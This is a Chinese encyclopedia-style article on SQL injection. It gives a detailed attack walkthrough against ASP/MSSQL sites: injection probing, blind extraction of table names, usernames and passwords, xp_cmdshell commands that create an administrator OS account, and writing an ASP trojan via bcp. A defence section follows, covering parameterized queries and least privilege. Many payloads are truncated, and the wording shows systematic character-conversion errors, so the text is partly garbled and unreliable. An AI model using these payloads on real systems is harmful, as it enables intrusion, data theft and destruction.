SQL注入攻击是黑客对数据库进行攻击的经常使用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也愈来愈多。可是因为程序员的水平及经验也良莠不齐,至关大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户能够提交一段数据库查询代码,根据程序返回的结果,得到某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
注入解释:
SQL注入是从正常的WWW端口访问,并且表面看起来跟通常的Web页面访问没什么区别,因此市面的
防火墙都不会对SQL注入发出警报,若是管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。可是,SQL注入的手法至关灵活,在注入的时候会碰到不少意外的状况,须要构造巧妙的SQL语句,从而成功获取想要的数据。
例子:
某个网站的登陆验证的SQL查询代码为:
|
strSQL =
"SELECT * FROM users WHERE (name = '"
+ userName +
"') and (pw = '"
+
passWord
+
"');"
|
恶意填入
|
userName =
"1' OR '1'='1"
;
|
与
|
passWord
=
"1' OR '1'='1"
;
|
时,将致使本来的SQL字符串被填为
|
strSQL =
"SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
|
也就是实际上运行的SQL命令会变成下面这样的
|
strSQL =
"SELECT * FROM users;"
|
所以达到无帐号密码,亦可登陆网站。因此SQL注入攻击被俗称为黑客的填空游戏。
应对办法
从安全技术手段上来讲,能够经过
数据库防火墙实现对SQL注入攻击的防范,由于SQL注入攻击每每是经过应用程序来进攻,可使用
虚拟补丁技术实现对注入攻击的SQL特征识别,实现实时攻击阻断。
攻击步骤
SQL注入漏洞的判断
SQL注入攻击
通常来讲,SQL注入通常存在于
形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数
的ASP
动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一律而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。若是ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就很是大。
为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,如下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY多是整型,也有多是字符串。
⒈整型参数的判断
当输入的参数YY为整型时,一般abc.asp中SQL语句原貌大体以下:
select * from 表名 where 字段=YY,因此能够用如下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一单引号),此时abc.ASP中SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,abc.asp运行正常,并且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2,abc.asp运行异常;
⒉字符串型参数的判断
当输入的参数YY为字符串时,一般abc.asp中
SQL语句原貌大体以下:
select * from 表名 where 字段='YY',因此能够用如下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1',abc.asp运行正常,并且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2',abc.asp运行异常;
若是以上三步全面知足,abc.asp中必定存在SQL注入漏洞。
⒊特殊状况的处理
有时ASP程序员会在程序员过滤掉单引号等
字符,以防止SQL注入。此时能够用如下几种方法试一试。
①大小定混合法:因为VBS并不区分大小写,而程序员在过滤时一般要么所有过滤大写字符串,要么所有过滤小写字符串,而大小写混合每每会被忽视。如用SelecT代替select,SELECT等;
②UNICODE法:在ⅡS中,以UNICODE
字符集实现国际化,咱们彻底能够IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;
③ASCⅡ码法:能够把输入的部分或所有字符所有用ASCⅡ码代替,如U=chr(85),a=chr(97)等,ASCⅡ信息参见附件二;
分析数据库服务器类型
通常来讲,ACCESS与SQL-SERVER是最经常使用的
数据库服务器,尽管它们都支持T-SQL标准,但还有不一样之处,并且不一样的数据库有不一样的攻击方法,必需要区别对待。
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不只能够判断SQL-SERVER,并且还能够获得大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不只能够判断是不是SQL-SERVER,而还能够获得当前链接到数据库的用户名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不只能够判断是不是SQL-SERVER,而还能够获得当前正在使用的数据库名;
⒉利用系统表
ACCESS的系统表是m
sysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于如下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp必定运行正常,第二条则异常;如果ACCESS则两条都会异常。
⒊MSSQL三个关键系统表
sysdatabases系统表:Microsoft SQL Server 上的每一个数据库在表中占一行。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?这个很是重要。他是 保存了全部的库名,以及库的ID和一些相关信息。
这里我把对于咱们有用的
字段名称和相关说明给你们列出来。name //表示库的名字。
dbid //表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb 这五个库。用select * from master.dbo.sysdatabases 就能够查询出全部的库名。
Sysobjects:SQL-SERVER的每一个数据库内都有此系统表,它存放该数据库内建立的全部对象,如约束、默认值、日志、规则、
存储过程等,每一个对象在表中占一行。
syscolumns:每一个表和视图中的每列在表中占一行,存储过程当中的每一个参数在表中也占一行。该表位于每一个数据库中。主要字段有:
name ,id, colid :分别是
字段名称,表ID号,字段ID号,其中的 ID 是 刚上咱们用
sysobjects获得的表的ID号。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 获得ChouYFD这个库中,表的ID是123456789中的全部字段列表。
可执行状况
若当前链接数据的账号具备
SA权限,且master.dbo.xp_cmdshell扩展
存储过程(调用此存储过程能够直接使用操做系统的shell)可以正确执行,则整个计算机能够经过如下几种方法彻底控制,之后的全部步骤均可以省
⒈HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp执行异常但能够获得当前链接数据库的用户名(若显示dbo则表明SA)。
⒉HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp执行异常但能够获得当前链接的数据库名。
⒊HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的全部内容仅为注释,系统并不执行)能够直接增长操做系统账户aaa,密码为bbb。
⒋HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把刚刚增长的账户aaa加到administrators组中。
⒌HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把获得的数据内容所有
备份到WEB目录下,再用HTTP把此文件下载(固然首选要知道WEB
虚拟目录)。
⒍经过复制CMD建立UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,经过此漏洞的利用方法,便完成了对整个计算机的控制(固然首选要知道WEB虚拟目录)。
发现WEB虚拟目录
只有找到WEB虚拟目录,才能肯定放置ASP木马的位置,进而获得USER权限。有两种方法比较有效。
一是根据经验猜解,通常来讲,WEB
虚拟目录是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下来:
⑴利用xp_availablemedia来得到当前全部驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
咱们能够经过查询temp的内容来得到驱动器列表及相关信息
⑵利用xp_subdirs得到子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
⑶利用xp_dirtree得到全部子目录的目录树结构,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意:
⒈以上每完成一项浏览后,应删除TEMP中的全部内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
⒉浏览TEMP表的方法是:(假设TestDB是当前链接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp)>0 获得表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工做异常,但在异常中却能够发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 获得表TEMP中第二条记录id字段的值。
上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB
虚拟目录的Scripts下,远程客户经过
IE就可执行它,进而获得系统的USER权限,实现对系统的初步控制。上传ASP木马通常有两种比较有效的方法:
⒈利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有很多WEB站点,其内容是对于不一样的用户有不一样的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操做,能够实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
所以,若获取正确的用户名与密码,不只能够上传ASP木马,有时甚至可以直接获得USER权限而浏览系统,上一步的“发现WEB
虚拟目录”的复杂操做均可省略。
用户名及密码通常存放在一张表中,发现这张表并读取其中内容便解决了问题。如下给出两种有效方法。
A、 注入法:
从理论上说,认证网页中会有型如:
select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句以前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:
select * from admin where username='abc’ or 1=1 and password='123’ 无论用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解全部数据库名称,猜出库中的每张表名,分析多是存放用户名与密码的表名,猜出表中的每一个
字段名,猜出表中的每条记录内容。
猜解全部数据库名称
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 由于 dbid 的值从1到5,是系统用了。因此用户本身建的必定是从6开始的。而且咱们提交了 name>1 (name字段是一个字符型的字段和数字比较会出错),abc.asp工做异常,可获得第一个数据库名,同理把DBID分别改为7,8,9,10,11,12…就可获得全部数据库名。
如下假设获得的数据库名是TestDB。
猜解数据库中用户名表的名称
猜解法:此方法就是根据我的的经验猜表名,通常来讲,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并经过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工做正常,不然异常。如此循环,直到猜到系统账号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表
sysobjects,有关一个库的全部表,视图等信息所有存放在此表中,并且此表能够经过WEB进行访问。
当type='U' and status>0表明是用户创建的表,发现并分析每个用户创建的表及名称,即可以获得用户名表的名称,基本的实现方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0)>0 获得第一个用户创建表的名称,并与整数进行比较,显然abc.asp工做异常,但在异常中却能够发现表的名称。假设发现的表名是xyz,则
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 能够获得第二个用户创建的表的名称,同理就可获得全部用创建的表的名称。
根据表的名称,通常能够认定那张表用户存放用户名及密码,如下假设此表名为Admin。
admin表中必定有一个用户名字段,也必定有一个密码字段,只有获得此两个字段的名称,才有可能获得此两字段的内容。如何获得它们的名称呢,一样有如下两种方法。
猜解法:此方法就是根据我的的经验猜字段名,通常来讲,用户名字段的名称经常使用:username,name,user,account等。而密码字段的名称经常使用:password,pass,pwd,passwd等。并经过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(
字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”语句获得表的行数,因此若字段名存在,则abc.asp工做正常,不然异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.
sysobjects是从sysobjects获得已知表名的第一个
字段名,当与整数进行比较,显然abc.asp工做异常,但在异常中却能够发现字段的名称。把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可获得全部的字段名称。
l 猜解用户名与密码
猜用户名与密码的内容最经常使用也是最有效的方法有:
ASCⅡ码逐字解码法:虽然这种方法速度较慢,但确定是可行的。基本的思路是先猜出字段的长度,而后依次猜出每一位的值。猜用户名与猜密码的方法相同,如下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步获得的用户名长度之间,当m=1,2,3,…时猜想分别猜想第1,2,3,…位的值;n的值是1~九、a~z、A~Z的ASCⅡ值,也就是1~128之间的任意值;admin为系统用户账号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCⅡ码就是用户名某一位值。如:当输入
,3,1)) from TestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCⅡ为80);
,9,1)) from TestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCⅡ为33);
猜到第一个用户名及密码后,同理,能够猜出其余全部用户名与密码。注意:有时获得的密码多是经MD5等方式加密后的信息,还须要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
简单法:猜用户名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1),flag是admin表中的一个字段,username是用户名字段,此时abc.asp工做异常,但能获得Username的值。与上一样的方法,能够获得第二用户名,第三个用户等等,直到表中的全部用户名。
猜用户密码:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1),flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工做异常,但能获得pwd的值。与上一样的方法,能够获得第二用户名的密码,第三个用户的密码等等,直到表中的全部用户的密码。密码有时是经MD5加密的,能够改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- (1的MD5值为:AAABBBCCCDDDEEEF,即把密码改为1;www为已知的用户名)
用一样的方法固然可把密码改原来的值。
⒉利用表内容导成文件功能
SQL有BCP命令,它能够把表的内容导成文本文件并放到指定位置。利用这项功能,咱们能够先建一张
临时表,而后在表中一行一行地输入一个ASP木马,而后用BCP命令导出造成ASP文件。
命令行格式以下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)
获得系统的管理员权限
ASP木马只有USER权限,要想获取对系统的彻底控制,还要有系统的管理员权限。怎么办?
提高权限的方法有不少种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的全部用户名密码;
等等,视系统的具体状况而定,能够采起不一样的方法。
几个专用手段
⒈利用xp_regread扩展
存储过程修改注册表
[xp_regread]另外一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者能够利用这些函数修改注册表,如读取SAM值,容许创建空链接,开机自动运行程序等。如:
exec xp_regread
HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares' 肯定什么样的会话链接在服务器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' 显示服务器上全部SNMP团体配置,有了这些信息,攻击者或许会从新配置同一网络中的网络设备。
⒉利用其余存储过程去改变服务器
xp_servicecontrol过程容许用户启动,中止服务。如:
(exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server')
Xp_availablemedia 显示机器上有用的驱动器
Xp_dirtree 容许得到一个目录树
Xp_loginconfig 获取服务器安全信息
Xp_makecab 容许用户在服务器上建立一个压缩文件
Xp_ntsec_enumdomains 列举服务器能够进入的域
Xp_terminate_process 提供进程的进程ID,终止此进程
攻击背景
在计算机技术高速发展的今天,愈来愈让人们头疼的是面临愈来愈“变态”和复杂的威胁网站技术,他们利用Internet 执行各类恶意活动,如身份窃取、私密信息窃取、带宽资源占用等。它们潜入以后,还会扩散并不断更新本身。这些活动经常利用用户的好奇心,在用户不知道或未容许的状况下潜入用户的PC,不知不觉中,账户里的资金就被转移了,公司讯息也被传送出去,危害十分严重。2006年8月16日,第一个Web威胁样本出现,截止到2006年10月25日,已经产生了第150个变种,而且,还在不断地演化下去。
网站威胁的目标定位有多个维度,是我的仍是公司,仍是某种行业,都有其考虑,甚至国家、地区、性别、种族、宗教等也成为发动攻击的缘由或动机。攻击还会采用多种形态,甚至是复合形态,好比病毒、
蠕虫、特洛伊木马、间谍软件、僵尸、
网络钓鱼电子邮件、漏洞利用、下载程序、社会工程、rootkit、黑客,结果均可以致使用户信息受到危害,或者致使用户所需的服务被拒绝和劫持。从其来源说Web威胁还能够分为内部攻击和外部攻击两类。前者主要来自信任网络,多是用户执行了未受权访问或是无心中定制了恶意攻击;后者主要是因为
网络漏洞被利用或者用户受到恶意程序制定者的专注攻击。
经常使用注入工具
啊d注入工具
啊D注入工具是一种主要用于SQL的注入工具,由彭岸峰开发,使用了
多线程技术,能在极短的时间内扫描
注入点。使用者不须要通过太多的学习就能够很熟练的操做。而且该软件附带了一些其它的工具,能够为使用者提供极大的方便。[1]
明小子
明小子注入工具是跟啊D注入工具功能相似的注入工具,集合了经常使用上传漏洞的利用,webshell管理,目录查看等功能。
Pangolin
Pangolin(中文译名为穿山甲)一款帮助渗透测试人员进行Sql注入测试的安全工具,是深圳宇造诺赛科技有限公司(Nosec)旗下的网站安全测试产品之一。
Pangolin可以经过一系列很是简单的操做,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件,能够说是网站安全测试人员的必备工具之一。
Sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其普遍的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取彻底操做权限时实行任意命令。sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。
网络分析
SQL注入攻击是很是使人讨厌的安全漏洞,是全部的web开发人员,无论是什么平台,技术,仍是数据层,须要确信他们理解和防止的东西。不幸的是,开发人员每每不集中花点时间在这上面,以致他们的应用,更糟糕的是,他们的客户极其容易受到攻击。
Michael Sutton 发表了一篇很是发人深省的帖子,讲述在公共网上这问题是多么地广泛。他用Google的Search API建了一个C#的客户端程序,寻找那些易受SQL 注入攻击的网站。其步骤很简单:
1,寻找那些带查询字符串的网站(例如,查询那些在URL里带有 "id=" 的URL)
2,给这些肯定为动态的网站发送一个请求,改变其中的id=语句,带一个额外的单引号,来试图取消其中的SQL语句(例如,如 id=6')
3,分析返回的回复,在其中查找象“SQL” 和“query”这样的词,这每每表示应用返回了详细的错误消息(这自己也是很糟糕的)
4,检查错误消息是否表示发送到SQL服务器的参数没有被正确加码(encoded),若是如此,那么表示可对该网站进行SQL注入攻击
对经过Google搜寻找到的1000个网站的随机取样测试,他检测到其中的11.3%有易受SQL注入攻击的可能。这很是,很是地可怕。这意味着黑客能够远程利用那些应用里的数据,获取任何没有hashed或加密的密码或信用卡数据,甚至有以管理员身份登录进这些应用的可能。这不只对开发网站的开发人员来讲很糟糕,并且对使用网站的消费者或用户来讲更糟糕,由于他们给网站提供了数据,想着网站是安全的呢。
那么SQL注入攻击究竟是什么玩意?
有几种情形使得SQL注入攻击成为可能。最多见的缘由是,你动态地构造了SQL语句,却没有使用正确地加了码(encoded)的参数。譬如,考虑这个SQL查询的编码,其目的是根据由查询字符串提供的社会保险号码(social security number)来查询做者(Authors):
Dim SSN as String
Dim SqlQuery as String
SSN = Request.QueryString("SSN")
SqlQuery = "SELECT au_lname,au_fname FROM authors WHERE au_id = '" + SSN + "'"
若是你有像上面这个片段同样的SQL编码,那么你的整个数据库和应用能够远程地被黑掉。怎么会呢?在普通情形下,用户会使用一个社会保险号码来访问这个网站,编码是象这样执行的:
' URL to the page containing the above code
' SQL Query executed against the database
SELECT au_lname,au_fname FROM authors WHERE au_id = '172-32-9999'
这是开发人员预期的作法,经过社会保险号码来查询数据库中做者的信息。但由于参数值没有被正确地加码,黑客能够很容易地修改查询字符串的值,在要执行的值后面嵌入附加的SQL语句。譬如,
' URL to the page containing the above code
' SQL Query executed against the database
SELECT au_lname,au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs --
注意到没有,能够在SSN查询字符串值的后面添加“ ';DROP DATABASE pubs -- ”,经过 “;”字符来终止当前的SQL语句,而后添加了本身的恶意的SQL语句,而后把语句的其余部分用“--”字符串注释掉。由于是手工在编码里构造SQL语句,最后把这个字符串传给了数据库,数据库会先对authors表进行查询,而后把咱们的pubs数据库删除。“砰(bang)”的一声,数据库就没了!
万一你认为匿名黑客删除你的数据库的结果很坏,但不幸的是,实际上,这在SQL注入攻击所涉及的情形中算是比较好的。一个黑客能够不单纯摧毁数据,而是使用上面这个编码的弱点,执行一个JOIN语句,来获取你数据库里的全部数据,显示在页面上,容许他们获取用户名,密码,信用卡号码等等。他们也能够添加 UPDATE/INSERT 语句改变产品的价格,添加新的管理员帐号,真的搞砸你(screw up your life)呢。想象一下,到月底检查库存时,发现你库房里的实际产品数与你的帐目系统(accounting system)汇报的数目有所不一样。
如何防范
SQL注入攻击是你须要担忧的事情,无论你用什么web编程技术,再说全部的web框架都须要担忧这个的。你须要遵循几条很是基本的规则:
1)在构造动态SQL语句时,必定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO. NET,有这样的支持,容许你指定所提供的参数的确切类型(譬如,字符串,整数,日期等),能够保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。必定要从始到终地使用这些特性。
例如,在ADO. NET里对动态SQL,你能够象下面这样重写上述的语句,使之安全:
Dim SSN as String = Request.QueryString("SSN")
Dim cmd As new SqlCommand("SELECT au_lname,au_fname FROM authors WHERE au_id = @au_id")
Dim param = new SqlParameter("au_id",SqlDbType.VarChar)
param.Value = SSN
cmd.Parameters.Add(param)
这将防止有人试图偷偷注入另外的SQL表达式(由于ADO. NET知道对au_id的字符串值进行加码),以及避免其余数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP. NET 2.0数据源控件也是如此。
一个常见的错误知觉(misperception)是,假如你使用了
存储过程或ORM,你就彻底不受SQL注入攻击之害了。这是不正确的,你仍是须要肯定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的作法是安全的。
2) 在部署你的应用前,始终要作安全审评(security review)。创建一个正式的安全过程(formal security process),在每次你作更新时,对全部的编码作审评。后面一点特别重要。不少次我据说开发队伍在正式上线(going live)前会作很详细的安全审评,而后在几周或几个月以后他们作一些很小的更新时,他们会跳过安全审评这关,推说,“就是一个小小的更新,咱们之后再作编码审评好了”。请始终坚持作安全审评。
3) 千万别把敏感性数据在数据库里以明文存放。我我的的意见是,密码应该老是在单向(one-way)hashed事后再存放,我甚至不喜欢将它们在加密后存放。在默认设置下,ASP. NET 2.0 Membership API 自动为你这么作,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。若是你决定创建本身的成员数据库,我建议你查看一下咱们在这里发表的咱们本身的Membership provider的源码。同时也肯定对你的数据库里的信用卡和其余的私有数据进行了加密。这样即便你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。
4)确认你编写了自动化的
单元测试,来特别校验你的
数据访问层和应用程序不受SQL注入攻击。这么作是很是重要的,有助于捕捉住(catch)“就是一个小小的更新,全部不会有安全问题”的情形带来的疏忽,来提供额外的安全层以免偶然地引进坏的安全缺陷到你的应用里去。
5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。若是web应用不须要访问某些表,那么确认它没有访问这些表的权限。若是web应用只须要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。
6)不少新手从网上下载SQL通用防注入系统的程序,在须要防范注入的页面头部用 来防止别人进行手动注入测试(。
但是若是经过SQL注入分析器就可轻松跳过防注入系统并自动分析其
注入点。而后只须要几分钟,你的管理员帐号及密码就会被分析出来。
7)对于注入分析器的防范,笔者经过实验,发现了一种简单有效的防范方法。首先咱们要知道SQL注入分析器是如何工做的。在操做过程当中,发现软件并非冲着“admin”管理员帐号去的,而是冲着权限(如flag=1)去的。这样一来,不管你的管理员帐号怎么变都没法逃过检测。
第三步:既然没法逃过检测,那咱们就作两个帐号,一个是普通的管理员帐号,一个是防止注入的帐号,为何这么说呢?笔者想,若是找一个权限最大的帐号制造假象,吸引软件的检测,而这个帐号里的内容是大于千字以上的中文字符,就会迫使软件对这个帐号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面咱们就来修改数据库吧。
⒈对表结构进行修改。将管理员的帐号字段的数据类型进行修改,文本型改为最大字段255(其实也够了,若是还想作得再大点,能够选择
备注型),密码的字段也进行相同设置。
⒉对表进行修改。设置管理员权限的帐号放在ID1,并输入大量中文
字符(最好大于100个字)。
⒊把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
因为SQL注入攻击针对的是应用开发过程当中的编程不严密,于是对于绝大多数
防火墙来讲,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有必定帮助...。